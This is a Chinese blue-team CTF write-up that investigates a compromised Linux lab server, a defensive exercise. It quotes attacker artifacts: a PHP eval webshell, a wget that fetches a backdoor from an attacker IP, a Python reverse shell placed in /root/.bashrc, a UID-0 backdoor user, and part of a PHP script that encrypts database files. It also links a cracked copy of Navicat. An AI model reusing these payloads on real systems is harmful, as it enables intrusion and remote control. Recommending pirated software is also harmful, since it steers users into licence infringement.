文章目录

一、前言

题目链接:第九章-blueteam 的小心思

三连私信免费送玄机注册邀请码私信!!!看见就回!!注意私信!!

题目就看着多一点都不难,大家放心吧;

题目既然提到了blueteam(蓝队),那我们这里就简单介绍一下红蓝队吧;

简单来说就是蓝队和红队是网络安全领域中的两个关键团队,分别负责保护和模拟攻击,以确保组织的信息系统和网络基础设施的安全。(也就是我们俗称的“护网行动”——HVV)

蓝队(Blue Team)

主要负责:

  1. 监控和检测

    • 实时监控网络流量、系统日志和安全警报,使用安全信息和事件管理系统(SIEM)来检测异常活动。
    • 配置和管理入侵检测系统(IDS)和入侵防御系统(IPS)。
  2. 事件响应

    • 制定和实施事件响应计划,及时应对和处理安全事件。
    • 调查和分析安全事件的来源和影响,采取适当的措施来遏制和解决问题。
  3. 漏洞管理

    • 定期进行漏洞扫描,识别和修复系统中的漏洞。
    • 管理补丁程序的应用,确保系统软件和硬件的安全性。
  4. 风险评估和管理

    • 进行风险评估,识别潜在的安全威胁和风险。
    • 制定和实施风险缓解策略,减少风险的影响。
  5. 安全策略和政策

    • 制定和维护组织的安全策略和政策,确保符合行业标准和法规要求。
    • 监督和执行安全政策的实施,确保员工遵守安全规程。
  6. 取证分析

    • 在发生安全事件后进行取证分析,收集和分析证据,以便进行进一步的调查和法律行动。
    • 保持事件日志和记录,以便进行审计和合规检查。

红队(Red Team)

主要负责:

  1. 渗透测试

    • 进行渗透测试,模拟真实攻击者的行为,测试组织的防御措施。
    • 利用各种工具和技术发现系统、网络和应用程序中的漏洞。
  2. 社会工程学攻击

    • 进行社会工程学攻击,如钓鱼邮件和电话诈骗,测试员工的安全意识和反应。
    • 分析和报告社会工程学攻击的结果,帮助组织改进培训和防御措施。
  3. 模拟攻击

    • 模拟高级持续性威胁(APT)攻击,测试组织在面对复杂和持久攻击时的防御能力。
    • 评估组织的应急响应计划和事件处理能力。
  4. 报告与建议

    • 提供详细的报告,描述发现的漏洞、攻击路径和潜在影响。
    • 提出改进建议,帮助组织加强安全措施,减少风险。
  5. 协作与演练

    • 与蓝队合作,进行对抗演练(Red Team vs. Blue Team),提高整体安全水平。
    • 帮助组织识别和修复安全漏洞,改进防御策略和技术。

总结就是;

红队和蓝队的协作和对抗演练(例如红蓝对抗)可以帮助组织全面评估和提升其安全防御能力。通过这种方式,组织可以更好地理解自己的安全弱点,实施有效的防御策略,并提高应对真实网络威胁的能力。

那说都说了,这里我再啰嗦一下蓝队吧;(主要小组分工)

蓝队主要分工(说是这样说,真正开始的时候可能可能一个人打两份工那也算正常)

  1. 安全监控与检测小组

    • 作用:实时监控网络流量、系统日志和安全事件,使用SIEM工具进行异常活动的检测。
    • 成员职责:配置和管理入侵检测系统(IDS)和入侵防御系统(IPS),分析警报,识别潜在的安全威胁。
  2. 事件响应与取证小组

    • 作用:响应和处理安全事件,进行取证分析,收集和分析证据。
    • 成员职责:制定和实施事件响应计划,调查安全事件的来源和影响,采取措施遏制和解决问题,保留事件日志和记录。
  3. 漏洞管理与补丁管理小组

    • 作用:进行漏洞扫描,识别和修复系统中的漏洞,管理补丁程序的应用。
    • 成员职责:定期进行漏洞评估,确保系统软件和硬件的安全性,应用安全补丁,减少潜在的攻击面。
  4. 风险评估与管理小组

    • 作用:进行风险评估,识别和管理安全风险,制定风险缓解策略。
    • 成员职责:分析潜在的安全威胁,评估风险的影响和可能性,实施风险管理计划,减少风险。
  5. 安全策略与政策小组

    • 作用:制定和维护组织的安全策略和政策,确保符合行业标准和法规要求。
    • 成员职责:监督和执行安全政策的实施,审查和更新安全策略,确保员工遵守安全规程。
  6. 安全教育与培训小组

    • 作用:提供安全意识培训,教育员工关于安全最佳实践和防范措施。
    • 成员职责:设计和实施安全培训计划,进行演练和模拟,提高员工的安全意识和应急响应能力。
  7. 技术支持与工具开发小组

    • 作用:提供技术支持,开发和维护安全工具和系统。
    • 成员职责:配置和维护安全基础设施,开发自定义安全工具,支持其他小组的技术需求。

hvv开启的时间一般是6月-7月,所以可以说,大家4/5月左右有时间就要把自己的简介准备好了;

二、概览

简介

服务器场景操作系统 Linux
服务器账号密码 root qi5qaz

任务环境说明
注:进去后执行 sed -i ‘s/Listen 80/Listen 9999/’ /etc/apache2/ports.conf && service apache2 restart
开放题目
漏洞修复

题目;

1、攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。
2、攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。
3、找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。
4、攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。
5、攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。
6、攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
7、攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
8、攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。
9、解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。
10、因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。

三、参考文章

第九章 - Blueteam 的小心思

玄机应急响应wp

四、步骤(解析)

准备步骤#1.0

老规矩嘛,使用Xshell新建或者SSH连接靶机都可,靶机的环境是Liunx;(方法不唯一,仅供参考)

新建连接,输入靶机IP,连接即可;(这里如一直连不上,看看自己是不是校园网(内网),是的话建议换手机热点/或者其它,因为它会对出口流量进行限制,接着再尝试进行连接)

在这里插入图片描述

成功连接,不过这里注意,进去之后需立马执行;

命令;

sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart

在这里插入图片描述

为什么进去之后就需立马执行这个命令嘞?

简单来说就是,这条命令的作用是修改 Apache Web 服务器的端口配置,并重新启动 Apache 服务。

具体一点来说;

  • 修改 Apache 服务器的配置文件,将监听端口从 80 改为 9999
  • 重新启动 Apache 服务,使新的配置生效。

靶机可以通过这种方式,可以改变 Apache Web 服务器的默认监听端口,常用于避免端口冲突或者提升服务器的安全性(通过使用非标准端口)。

步骤#1.1
攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。

解题思路

题目让我们提交黑客成功登录网站后台的密码并进行MD5加密,那我们就可以先查查日志,看看黑客登录的时候有没有留下什么痕迹;

具体一点来说就是;

Web 服务器日志: 检查 Web 服务器的访问日志(如 Apache 的 access.log 或 Nginx 的 access.log)。这些日志文件中可能记录了登录请求以及相应的参数。

使用命令;

cat /var/log/apache2/access.log | grep "POST /login"

得到;

在这里插入图片描述

简单分析一下;

  1. 源 IP 地址: 所有请求的源 IP 地址为 192.168.16.43,这表明所有这些请求都来自同一台设备。

  2. 时间戳: 请求的时间戳逐渐递增,表明这些请求是在几秒钟内完成的。

    • 首次请求:18/Nov/2023:23:20:08
    • 成功请求:18/Nov/2023:23:20:21
  3. 状态码

    • 前四次请求返回状态码 200,这表示请求成功并返回了页面。
    • 最后一次请求返回状态码 302,这表示请求成功后进行了重定向。这通常意味着成功登录并重定向到用户主页或管理页面。

结论

  • 黑客 IP 地址192.168.16.43
  • 登录尝试:黑客在 23:20:0823:20:21 之间多次尝试登录,直到 23:20:21 的最后一次登录成功。
  • 成功登录:最后一次 POST /login.php 请求返回状态码 302,表明登录成功并进行了重定向。

所以总的来说,日志里面暂时没有发现黑客登陆网站的账号以及密码,那没办法了,我们只能换一种方法;

检查数据库;

用户表: 检查数据库中存储用户信息的表。(一些数据库中会包含有管理员的账号以及我们需要的密码)

那我们既然需要进入到数据库查询,那肯定就是需要先找到数据库登录的账号密码对吧?

数据库登录的账号和密码通常存储在配置文件如 config.inc.php 中;

因为配置文件 config.inc.php 是专门用于存放应用程序的配置参数,包括数据库连接信息。

那这里我们使用“find”命令定位一下配置文件“config.inc.php”即可;

命令;

 find / -name config.inc.php

得到;

在这里插入图片描述

跟进分析,查看数据库登录账号密码;

命令;

cat var/www/html/include/config.inc.php

得到;

在这里插入图片描述

我们可以得到;

  • 数据库类型pdo:mysql
  • 数据库服务器localhost
  • 数据库用户名root
  • 数据库密码mysql123
  • 数据库名称mirage

登录数据库;

命令;

mysql -uroot -pmysql123

登录成功;

在这里插入图片描述

上面我们已经知道了是什么数据库;(mirage)

切换数据库;

use mirage;

得到;

在这里插入图片描述

那接着就是库里查查里面有什么表了;

show tables;

得到;

在这里插入图片描述

很明显看见了个users,里面就是数据库用户的账号密码信息;

所以我们使用命令;

select * from cpg16x_users;

得到;

在这里插入图片描述

但是发现里面并没有账号密码,那也没关系,总会有没查出的时候,那我们找找有没有什么其它关键的地方;

那就看看有没有流量,既然这条路给我们封死了,肯定会给我们别的路;

那就定位一=下看看有没有流量包呗;

命令;

find / -name "*.pcap"

得到;

在这里插入图片描述

哎,在根目录下还真有,那我们就导出使用Wireshark分析呗;

这里为了便捷,我直接使用了之前使用过工具的“Finalshell”导出;

Finalshell官方下载

老规矩,打开主页,新建SHH连接(Liunx),接着输入靶机的IP,最后输入账号密码返回主页连接即可;

新建SSH连接;

在这里插入图片描述

输入靶机的IP以及账号密码;

在这里插入图片描述

跟目录下发现流量包,选中右键“下载”即可;

在这里插入图片描述

注意下载路径;(以防自己下载了找不到)

在这里插入图片描述

下载成功丢进Wireshark分析;

在这里插入图片描述

题目既然说黑客登录网站后台的密码,说了登录,所以我们就可以直接查http的关键“login.php”;

命令;

http contains "login.php"

得到;

在这里插入图片描述

一共就那么几个usename、password,就算不知道具体是哪一个,我们一个一个尝试MD5加密提交都行;

所以最后尝试出来的密码就是;(随便找一个在线的MD5进行加密)

Aa12345^

在线MD5加密

至此;

flag{D63EDB0E9DF4CF411398E3658C0237E0}
步骤#1.2
攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。

解题思路

题目问我们黑客在哪个PHP页面中成功上传了后门文件,提交提交PHP页面并且进行MD5解密,题一我们已经到导出了流量包,那我们可以查找一下“boundary”;

那这里可能有的师傅就有疑问了,为什么要查找一下“boundary”,这跟上传有什么关系嘛?

简单来说,在 Wireshark 中分析文件上传时,查找 boundary 是一个关键步骤。boundary 一般常用在 multipart/form-data POST 请求中分隔不同的部分(part),例如文件和其他数据。

同时也具备;

  • 识别上传内容的边界: 当文件通过 multipart/form-data 上传时,每个部分用 boundary 分隔。通过识别 boundary,可以分离出文件内容和其他表单数据。

  • 解析上传的文件数据: boundary 提供了上传内容的分隔符,使得可以准确提取文件数据和元数据(如文件名、类型等)。

那这里我们就可以直接筛选一下“boundary”;

使用命令;

http contains "boundary"

得到;

在这里插入图片描述

发现只有一条,跟进分析,“右键追踪HTTP流”;

得到;

在这里插入图片描述

简单分析一下;

PK..
......<rW..'.............cpg.phpUT    ..8jXetjXeux....!....!...<?php @eval($_POST["m3"]);?>

这段内容显示了一个ZIP文件的开始,包含一个PHP文件cpg.php

<?php @eval($_POST["m3"]);?>

这是一个典型的PHP Web shell代码。eval函数会执行传入的任何PHP代码,因此黑客可以通过向该文件发送POST请求来执行任意代码。(俗称一句话木马)

题目问我们黑客上传木马文件的“页面”,例如upload.php页面,所以;

上传的页面:pluginmgr.php

在线MD5加密

至此;

flag{B05C0BE368FFA72E6CB2DF7E1E1B27BE}
步骤#1.3
找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。

解题思路

题目让我们提交黑客上传webshell文件的MD5,老熟题了,找webshell嘛,手工排查找也可以,工具排查也可以,看自己喜欢,不过这里为了更便捷,肯定是使用工具进行排查,我们直接把网站的源码导出,接着丢进我们的“D盾”等待扫描结果即可;

那这里手工排查之前的文章也多有强调,那这里就不再多叙了,详细请看:应急响应-webshell查杀
那这里我们先导出源码(var/www/html),我使用的还是“Finalshell”导出;

找到源码“var/www/html”;

在这里插入图片描述

右键选中,下载即可;(注意下载完成之后,是和题一“wireshark.pcap”一个目录)

导出完成,开始使用“D盾”扫描;(这里注意如导出找不到cpg.php,就说明被你电脑自动杀掉了)

在这里插入图片描述

是不是很眼熟?对的,没错就是我们上题所在的“Wireshark”中找到的一句话木马“cpg.php”,那我们跟进右键“记事本”打开看看是不是我们上题在pcap里面看见的;

石锤了;(这里就不再分析这个一句话木马了,相信很多师傅肯定都知道了)

在这里插入图片描述

题目让我们提交文件的MD5,那这里推荐的就是两种方法,第一种直接在靶机里(Liunx)中直接

使用命令;(注意需在“同一目录下”执行)

md5sum cpg.php

得到;

在这里插入图片描述

这里因为已经导出源码了嘛(var;/www/html/),那当然木马肯定也在其中,所以直接在windows中直接;

使用命令;

certutil -hashfile cpg.php MD5

得到;

在这里插入图片描述

至此;

flag{a097b773ced57bb7d51c6719fe8fe5f5}

文件进行MD5加密方法不唯一,仅供参考;

步骤#1.4
攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。

解题思路

题目问我们黑客下载的列一个可执行后面程序是什么并且进行MD5加密,那这里我们可以有两个方法来进行查找,第一种,上题已查出了一个webshell“cpg.php”,那我们就完全可以根据黑客上传的第一个webshell的时间来筛选前后下载的文件,因为来猜测黑客上传的时间肯定不会间隔太久,所以我们只需要查到第一次上传webshell的时间即可;

第二种,我们不是导出一个“wireshark.pcap”嘛,仔细分析一下也是可以发现黑客下载的可执行后门程序,毕竟我们之前就在里面查出过文件“cpg.php”,所以同样的道理我们也是可以从里面发现;

那这里两种方法都给大家进行演示一下;

第一种:Liunx

我们先找到文件“cpg.php”上传的前后时间;

命令;(注意,同一目录下)

stat cpg.php

得到;

在这里插入图片描述

简单分析一下;

时间戳

  • 访问时间 (Access):2024-07-15 08:54:44.408000000 +0000

    • 文件最近一次被读取的时间。
  • 修改时间 (Modify):2023-11-18 07:39:36.000000000 +0000

    • 文件内容最近一次被修改的时间。
  • 更改时间 (Change):2023-11-18 23:21:04.444013552 +0000

    • 文件属性或内容最近一次被更改的时间。

文件权限和所有者

  • 权限0644-rw-r--r--

    • 文件所有者有读写权限 (rw-)
    • 文件所属组有只读权限 (r--)
    • 其他用户有只读权限 (r--)
  • 所有者 (Uid)33(用户 www-data

  • 所属组 (Gid)33(组 www-data

现已确定文件修改时间(2023-11-18 07:39:36),及文件所有者(www-data);

那我们就可以使用命令,简单查一下,前后两天用户“www-data”干了什么;

find / -newerct '2023-11-18 07:30:00' ! -newerct '2023-11-19 07:30:00' ! -path '/proc/*' ! -path /'sys/*' ! -path '/run/*' -type f -exec ls -lctr --full-time {} \+ 2>/dev/null | grep www-data

命令分析;

简单来说这条命令用于查找在特定时间范围内由特定用户(www-data)修改或创建的文件。

具体分析;

  • -newerct ‘2023-11-18 07:30:00’

    • 查找在2023年11月18日07:30:00之后创建或修改的文件。
  • ! -newerct ‘2023-11-19 07:30:00’

    • 查找在2023年11月19日07:30:00之前创建或修改的文件。
  • ! -path ‘/proc/’ ! -path '/sys/’ ! -path ‘/run/*’

    • 排除路径为/proc/sys/run的文件。这些目录包含系统和内核相关的虚拟文件系统,不需要搜索。
  • -type f

    • 仅查找普通文件(不包括目录、链接等)。
  • -exec ls -lctr --full-time {} +

    • 对找到的每个文件执行ls -lctr --full-time命令,显示文件的详细信息:
      • -l:使用长格式列出文件。
      • -c:根据文件的状态更改时间排序。
      • -t:根据时间排序。
      • -r:逆序排列。
      • --full-time:使用完整的时间戳格式显示。
  • 2>/dev/null

    • 将错误输出重定向到/dev/null,即忽略错误信息。
  • | grep www-data

    • 过滤出包含www-data的行。这将显示所有由www-data用户拥有或修改的文件。

得到;

在这里插入图片描述

-rw-r--r--  1 www-data         www-data              446 2023-11-18 23:20:18.031017308 +0000 /var/www/html/logs/security.log.php
-rw-r--r--  1 www-data         www-data               29 2023-11-18 23:21:04.444013552 +0000 /var/www/html/plugins/cpg.php
-rwxrwxrwx  1 www-data         www-data              250 2023-11-18 23:26:21.793649688 +0000 /var/www/html/plugins/.       /is.world

可以看见文件“/is.world”,尝试进行MD5加密提交一下(注意题目让我们提交的是完整路径)

路径:/var/www/html/plugins/. /is.world

命令;

md5sum "/var/www/html/plugins/.       /is.world" 

得到;(尝试提交发现正确)

在这里插入图片描述

至此;

flag{ee279c39bf3dcb225093bdbafeb9a439}

第二种:Wireshark

简单筛选一下http,按照一下大小排序,在大小为“1037”的包中发现关键;

在这里插入图片描述

跟进分析,追踪流HTTP;

在这里插入图片描述

简单分析一下;

URL在线解码得到;

m3=system("wget http://124.221.70.199:8889/is.world");

使用了PHP的 system 函数,执行了一个下载命令。

  • system:PHP中的 system 函数会执行一个外部程序,并输出结果。

  • wget:这是一个用于从网络下载文件的命令行工具。命令中的参数指定了下载文件的URL。

  • http://124.221.70.199:8889/is.world:这是文件下载的目标URL,包含了一个IP地址 124.221.70.199 和端口 8889。目标文件名是 is.world

题目问的什么?问的不就是黑客下载的程序嘛,所以就有理由进行怀疑,直接find定位一些文件位置即可;

命令;

 find / -name is.world

得到;

在这里插入图片描述

后面的步骤就不进行演示,跟Liunx后面一样跟进过去,到文件“is.world”目录下进行MD5加密即可;

这里暂且举两个例子,仅供参考,方法不唯一;

步骤#1.5
攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。

解题思路

题目让我们找到新镇的后面用户名称并且进行MD5加密提交,那都说了新增加用户,那我们肯定是检查用户配置文件,在Liunx中,/etc/passwd 文件,包含了所有用户的信息,包括用户名和用户ID等。

所以使用命令;

cat /etc/passwd

得到;

在这里插入图片描述

简单分析一下;

其实一眼望过去,最不正常的就是最底下那个“knowledgegraphd”;

因为从 /etc/passwd 文件来看,这个用户看起来异常,因为它的 UID 和 GID 都是 0,与 root 用户相同,这意味着它具有 root 权限。

用户权限分析:

  • root:x:0:0:root:/root:/bin/bash
    • 这是系统管理员账户,UID 和 GID 都是 0。
  • knowledgegraphd:x:0:0::/home/knowledgegraphd:/bin/bash
    • 这个账户的 UID 和 GID 也都是 0,意味着它具有与 root 用户相同的权限。这是一个明显的安全风险,通常用户不会被分配 UID 和 GID 为 0,除非是系统管理员。

用户的主目录和 shell:

  • /home/knowledgegraphd 是这个用户的主目录。
  • /bin/bash 是这个用户的默认 shell,允许用户执行命令,这进一步表明这是一个高权限用户。

总结;

以上分析,knowledgegraphd 用户就是是黑客创建的后门用户,因为它具有 root 权限,这在正常情况下是极不寻常的。此外,这个用户没有描述信息(通常用户会有一个描述字段,比如系统服务用户有描述它们用途的信息)。

题目让我们进行MD5加密在提交;

所以使用命令;

md5sum knowledgegraphd

在这里插入图片描述

哎,发现报错了,为什么呢?

因为这是字符串,字符串进行MD5加密和文件肯定不一样,因为靶机是“Ubuntu”的;

所以;

 echo -n "knowledgegraphd" | md5sum

得到;

在这里插入图片描述

至此;

flag{4cda3461543c9a770a3349760594facd}
步骤#1.6
攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。

解题思路

题目让我们提交黑客创建的一个持久化的配置项的MD5,黑客在 Linux 系统上创建持久化配置项,以在任意用户登录时触发后门连接,通常会利用以下文件;

shell配置文件;

黑客可以修改用户的 Shel 配置文件,这些文件在用户登录时被执行。常见的文件包括:

1、”~/.bashrc“:用于 Bash Shell,会在每次打开新的终端或登录 Shell 时执行。
2、”/.bash_profile“或”/.profile“:这些文件在用户登录时执行。
3、”~/.zshrc“:用于Zsh Shell,与”~/.bashrc“类似。
4、”/etc/profile“:为所有用户提供的系统级别的配置文件,
5、”/etc/bash.bashrc“:为所有用户提供的系统级别的配置文件,Bash Shell 专用。

一个一个跟进分析,查看有没有什么可疑的地方,最后也是在”/etc/profile“中发现关键;

命令;

cat /etc/profile

得到;

在这里插入图片描述

简单分析一下;

简单来说就是 /etc/profile 文件的内容,这是一个系统范围的配置文件,用于设置 Bourne shell(如 sh、bash、ksh 等)的全局环境变量和配置。

  1. 首先,这段代码检查是否存在交互式 shell 的环境变量 ${PS1-}。如果存在,它会进一步检查是否在 Bash 环境下,并且 Bash 的路径不是 /bin/sh
  2. 如果是 Bash,并且存在 /etc/bash.bashrc 文件,则会载入该文件的配置。
  3. 如果当前用户是 root 用户(通过 id -u 命令检查),则设置提示符 PS1#,表示超级用户权限。否则设置为 $,表示普通用户权限。
  4. 接下来就是黑客插入的后门程序:/var/www/html/plugins/". "/is.world &,它是一个恶意添加的行,试图运行一个不明的命令或程序。
  5. 最后,如果 /etc/profile.d 目录存在,则会加载该目录下所有可读的 .sh 结尾的脚本文件,以扩展 shell 的配置。

题目让我们提交可疑配置文件的完整的路径小写md5值;

路径:/etc/profile

使用命令;(强调很多次了,这里就不再多强调了)

md5sum /etc/profile

得到;

在这里插入图片描述

至此;

flag{65bf3e4a9ac90d75ec28be0317775618}

还有一种做法,就是一般这种配置在/etc,猜测是执行可执行文件,所以我们直接在"/etc"这个进行查找我们之前已知的可执行程序“is.world”;

我们使用命令;

grep -Er "is.world" /etc

得到;

在这里插入图片描述

简单分析一下这个命令,为什么是“-Er”;

  • -E: 表示启用扩展的正则表达式(Extended Regular Expression)模式。这使得 grep 可以识别更多的正则表达式语法。
  • -r: 表示递归地在指定目录及其子目录中搜索。

综合起来就是,grep -Er "is.world" /etc 的作用是在 /etc 目录及其所有子目录中,使用扩展的正则表达式模式搜索包含字符串 “is.world” 的所有文件和行。

那有人就要问了,不加“-Er”行不行?

如下图;

在这里插入图片描述

只加一个“-r”也可以识别出来;(不过还是推荐大家规范执行命令,养成习惯更好)

在这里插入图片描述

步骤#1.7
攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。

解题思路

跟上题差不多,只不过这里是只有root用户登录才会触发后门连接,那这里我们需要确定黑客可利用的文件或者位置,那这里我们就可以猜测了,如果黑客希望在只有root用户登录时才触发后门连,其它用户则不会,那他一般会挑选以下文件和目录;

1、“/root/.bashrc”:在root用户登录Bash Shell时执行;
2、“/root/.bash_profile”:在root用户登录时执行。
3、“/root/.profile”:在root用户登录时执行。
4、“/etc/profile”:所有用户登录时执行,但可以通过特定的条件使其仅在root用户登录时触发。(这个概率就非常大,且也符合我们的猜测)
5、“/etc/rc.local”:系统启动时执行,可以包含条件逻辑;

还是跟上题一样老操作,一个一个分析过去即可,最后也是在“/root/.bashrc”中发现关键;

使用命令;

cat /root/.bashrc

得到;

在这里插入图片描述

简单分析一下;

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &

简单来说这就是Python 一个经典的反弹 shell 脚本,常被用作创建后门的手段。

  • 导入模块

    • import socket, subprocess, os;: 导入 socketsubprocessos 模块。这些模块分别用于网络通信、执行子进程和进行操作系统级别的操作。
  • 创建套接字

    • s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);: 创建一个 IPv4(AF_INET)流式套接字(SOCK_STREAM),用于 TCP 连接。
  • 连接到远程服务器

    • s.connect(("124.221.70.199", 9919));: 连接到指定的 IP 地址 124.221.70.199 和端口 9919。这通常是黑客控制的服务器。
  • 重定向标准输入、输出和错误

    • os.dup2(s.fileno(), 0);: 将标准输入(文件描述符 0)重定向到套接字 s
    • os.dup2(s.fileno(), 1);: 将标准输出(文件描述符 1)重定向到套接字 s
    • os.dup2(s.fileno(), 2);: 将标准错误(文件描述符 2)重定向到套接字 s

    通过这些操作,任何通过 shell 进行的输入、输出和错误信息都会通过套接字 s 传递到黑客的服务器。

  • 启动交互式 shell

    • p=subprocess.call(["/bin/sh", "-i"]);: 启动一个交互式 shell(/bin/sh),并将其连接到之前的套接字。这样,黑客就可以通过网络远程控制该系统。
  • 后台运行

    • &: 将整个命令放入后台执行,这样它不会阻塞当前的终端会话。

总的来说,它允许黑客在受感染的系统上创建一个反弹 shell,使得黑客可以通过网络远程控制受感染的计算机。黑客可以执行任意命令、访问敏感数据、安装其他恶意软件等。

题目让我们提交配置文件完全路径的小写MD5值;

所以;

md5sum /root/.bashrc

得到;

在这里插入图片描述

至此;

flag{4acc9c465eeeb139c194893ec0a8bcbc}
步骤#1.8
攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。

解题思路

题目让我们提交黑客加密的数据库名并且进行MD5加密,那既然这里又提到了数据库,这里就给大家推荐一个便捷连接数据库的工具“Navicat Premium”,这个工具简单来说就是有图形化的界面便于大家更好的去分析;

但是在网上这个工具是需要收费的,而且这个工具在后面可能会常用到,那我们这边就直接找了一个破解版的供大家使用;

123云盘下载;

Navicat Premium 16 安装包下载
https://www.123pan.com/s/q2J1jv-7Lavd.html
提取码:0905

123云盘下载;

Navicat Premium 16 破解工具下载
https://www.123pan.com/s/q2J1jv-bLavd.html
提取码:0905

Navicat Premium 16 安装并破解激活图文教程(跟着教程来几分钟就搞定了)

那话不多说,我们接着进入主题,那这里早在之前题一的时候,我们就已得知了mysql数据的账号以及密码,只不过我们直连的数据库并不是使用工具来进行分析,那这里我们就尝试使用工具来进行分析;

首先还是老规矩,数据库的登录信息(账号密码),一般都会储存在配置文件“config.inc.php”中,那我们这里还是直接定位配置文件位置过去查看即可;

命令;

find / -name config.inc.php

得到;

在这里插入图片描述

/var/www/html/include/config.inc.php

跟进分析;

cat /var/www/html/include/config.inc.php

在这里插入图片描述

数据库账号密码:root/mysql123

这里我就在Liunx中直接连了,我使用了工具“Navicat Premium 16”连接数据库,

激活完毕,登进主页,选择连接“mysql”;

在这里插入图片描述

那想连到数据库肯定是先连接到靶机对吧?因为数据库是存在于靶机之上的,所以这里,我们选上方的“SSH”–>"勾选上使用SSH隧道"即可;

主机:靶机的IP,用户名:root,验证方法选择:密码,最后密码:qi5qaz(就是靶机的密码),注意!!先别着急点“确定”,因为这时候是还没有连上的,我们先点击下方的“测试连接”看看有没有连上靶机;

在这里插入图片描述

会报这个错,为什么呢?因为现在我们只是连接上了吧唧并没有连接数据库,我们最终的目的就是连接到数据库,所以不要慌这时候,先点击确定;

在这里插入图片描述

这时候,再返回“常规”,连接名就随便填,其它不需要改动,填上我们mysql数据库的账号密码即可;

在这里插入图片描述

最后返回主页,点击刚刚新建的数据库即可成功连接;(那这里有的师傅可能就会问了,一道题目至于这么详细嘛?现实中数据库图形化界面有时候就是比直接敲命令更好理解一点,我这里详细一些就是因为很多时候我也是过来人,第一次接触这个东西确实有很多不明白的地方,详细一些便于对新的知识更好了解)

在这里插入图片描述

那咋办,那就查呗,一个一个点击进去查(表也就那么多),看看那张表点不开或者报错的,那就是有毛病呗,就是题目要求的有锁呗;

最后也是在“JPMorgan Chase”数据库中发现它打不开(啥都打不开);

报错,怀疑可能有加密;(符合题目要求,尝试进行MD5加密提交)

在这里插入图片描述

那我们返回Liunx,尝试使用find定位一下“JPMorgan@0020Chase”

命令;

find / -name JPMorgan@0020Chase

得到;

在这里插入图片描述

那我们跟进到这个目录下,直接j进行MD5解密即可;(这里因为JPMorgan@0020Chase也不是一个文件,所以我们还是得使用echo来进行MD5加密,跟我们之前MD5加密用户一下)

命令;

echo -n "JPMorgan@0020Chase" | md5sum

得到;

在这里插入图片描述

尝试提交,正确;

至此;

flag{0928a5424aa6126e5923980ca103560e}
步骤#1.9
解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。

解题思路

题目让我们解密数据库,提交Harper用户对应的Areer的值并且进行MD5加密,那这里黑客肯定是对表“Balance”进行了什么操作才导致进不去,那我们就尝试查找一下黑客比文件“cpg.php“新,又比闻文件“Balance.frm”旧的所有文件;

使用命令;

find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm

简单分析;

  • /: 从根目录开始查找。
  • -type f: 只查找文件(不包括目录、链接等)。
  • -newer /var/www/html/plugins/cpg.php: 找出比这个文件新的文件。
  • ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm: 找出比这个文件旧的文件。

得到;

在这里插入图片描述

找到了;(php后缀结尾就那么几个文件,其它的都排除完了,那可不就剩它了嘛)

/var/lib/mysql/clockup.php

跟进分析一下;

cat /var/lib/mysql/clockup.php

得到;

在这里插入图片描述

简单分析一下;

简单来说就是这个PHP脚本的作用是对指定目录下的所有文件进行加密,指定目录那可不就是“/var/lib/mysql/JPMorgan@0020Chase”,那咋办嘞,直接写一个反推的脚本;(这里我丢给gpt写的)

  1. 获取当前日期并生成MD5哈希

     $currentDate = date("Y-m-d");
     $key = md5($currentDate);
    
  • $currentDate:获取当前日期,格式为 “YYYY-MM-DD”。
  • $key:使用 md5 函数将当前日期转换为一个128位的哈希值,这个值将作为加密的密钥。
  1. 生成初始化向量(IV)

     $iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
    

$iv:使用 hash 函数将字符串 “DeepMountainsGD” 转换为一个256位的哈希值,然后取其前16字节作为初始化向量(IV)。IV用于确保相同的明文在加密时生成不同的密文,从而增强安全性。

  1. 指定文件路径并读取目录内容

     $filePath = "/var/lib/mysql/JPMorgan@0020Chase";
     $files = scandir($filePath);
    
  • $filePath:指定目标文件路径,这里是 /var/lib/mysql/JPMorgan@0020Chase
  • $files:使用 scandir 函数读取指定目录的内容,并返回一个包含目录中所有文件和子目录的数组。
  1. 遍历文件并进行加密

     foreach ($files as $file) {
         if ($file != "." && $file != "..") {
             $fullPath = $filePath . '/' . $file;
             $content = file_get_contents($fullPath);
